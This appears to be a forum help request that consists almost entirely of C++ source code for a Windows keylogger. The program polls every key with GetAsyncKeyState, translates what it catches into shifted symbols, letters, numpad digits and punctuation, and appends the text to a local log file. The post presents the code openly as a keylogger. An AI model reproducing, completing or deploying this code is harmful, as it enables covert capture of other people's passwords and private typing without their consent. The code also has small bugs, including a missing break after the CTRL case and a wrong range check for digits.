Need help reading keyboard ( writing a keylogger)

Code:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;

int Save (int key_stroke, char *file);
int isCapsLock();

int main(){
	char i;

	while (1)
	{
		for(i = 8; i <= 190; i++)
		{
			if (GetAsyncKeyState(i) == -32767)
			Save (i,"Log_test.txt"); 
		}
	}
	system ("PAUSE");
	return 0;
}

int Save (int key_stroke, char *file)
{
	if ( (key_stroke == 1) || (key_stroke == 2) )
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");

	cout << key_stroke << endl;

	if ((key_stroke>=39)&&(key_stroke<=64)) // 0-9
	{
		if (GetAsyncKeyState(VK_SHIFT)) // 0-9 + shift
		{
			switch (key_stroke)
			{
				case 0x30:
					fprintf(OUTPUT_FILE,"%s",(")"));
					break;
				case 0x31:
					fprintf(OUTPUT_FILE,"%s",("!"));
					break;
				case 0x32:
					fprintf(OUTPUT_FILE,"%s",("@"));
					break;
				case 0x33:
					fprintf(OUTPUT_FILE,"%s",("#"));
					break;
				case 0x34:
					fprintf(OUTPUT_FILE,"%s",("$"));
					break;
				case 0x35:
					fprintf(OUTPUT_FILE,"%s",("%"));
					break;
				case 0x36:
					fprintf(OUTPUT_FILE,"%s",("^"));
					break;
				case 0x37:
					fprintf(OUTPUT_FILE,"%s",("&"));
					break;
				case 0x38:
					fprintf(OUTPUT_FILE,"%s",("*"));
					break;
				case 0x39:
					fprintf(OUTPUT_FILE,"%s",("("));
					break;
			}
		}else{
			fprintf(OUTPUT_FILE,"%c",key_stroke); // 0-9 w/o shift
		}
		
	}
	else if ((key_stroke>64)&&(key_stroke<91)) // "A-Z"
	{
		if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // if not shift nor casps lock
		{
			key_stroke += 32; // transform to "a-z"
		}
		fprintf(OUTPUT_FILE,"%c",key_stroke);
	}
	else
	{
		switch (key_stroke) // check for other keys
		{
			case VK_SPACE:
				fprintf(OUTPUT_FILE,"%s"," ");
				break;
			case VK_LCONTROL:
			case VK_RCONTROL:
				fprintf(OUTPUT_FILE,"%s","[CTRL]");
			case VK_LMENU:
			case VK_RMENU:
				fprintf(OUTPUT_FILE,"%s","[ALT]");
				break;
			case VK_INSERT:
				fprintf(OUTPUT_FILE,"%s","[Insert]");
				break;
			case VK_DELETE:
				fprintf(OUTPUT_FILE,"%s","[DELETE]");
				break;
			// NUMPAD 
			case VK_NUMPAD0:
				fprintf(OUTPUT_FILE,"%s","0");
				break;
			case VK_NUMPAD1:
				fprintf(OUTPUT_FILE,"%s","1");
				break;
			case VK_NUMPAD2:
				fprintf(OUTPUT_FILE,"%s","2");
				break;
			case VK_NUMPAD3:
				fprintf(OUTPUT_FILE,"%s","3");
				break;
			case VK_NUMPAD4:
				fprintf(OUTPUT_FILE,"%s","4");
				break;
			case VK_NUMPAD5:
				fprintf(OUTPUT_FILE,"%s","5");
				break;
			case VK_NUMPAD6:
				fprintf(OUTPUT_FILE,"%s","6");
				break;
			case VK_NUMPAD7:
				fprintf(OUTPUT_FILE,"%s","7");
				break;
			case VK_NUMPAD8:
				fprintf(OUTPUT_FILE,"%s","8");
				break;
			case VK_NUMPAD9:
				fprintf(OUTPUT_FILE,"%s","9");
				break;
			// end of numpad
			case  0xBA: // VK_OEM_1
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", ":");
				else
					fprintf(OUTPUT_FILE,"%s", ";");
				break;
			case VK_OEM_2:
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", "?");
				else
					fprintf(OUTPUT_FILE,"%s", "/");
				break;
			case VK_OEM_3:
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", "~");
				else
					fprintf(OUTPUT_FILE,"%s", "`");
				break;
			case VK_OEM_4:
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", "{");
				else
					fprintf(OUTPUT_FILE,"%s", "[");
				break;
			case VK_OEM_5:
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", "|");
				else
					fprintf(OUTPUT_FILE,"%s", "\\");
				break;
			case VK_OEM_6:
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", "}");
				else
					fprintf(OUTPUT_FILE,"%s", "]");
				break;
			case VK_OEM_7:
				if(GetAsyncKeyState(VK_SHIFT))
					fprintf(OUTPUT_FILE,"%s", "\"");
				else
					fprintf(OUTPUT_FILE,"%s", "\'");
				break;
				
		}
	}
	return 0;
}

int isCapsLock(){
	if ((GetKeyState(VK_CAPITAL) & 0x0001) !=0 )
	{
		return 1;
	}else{
		return 0;
	}
}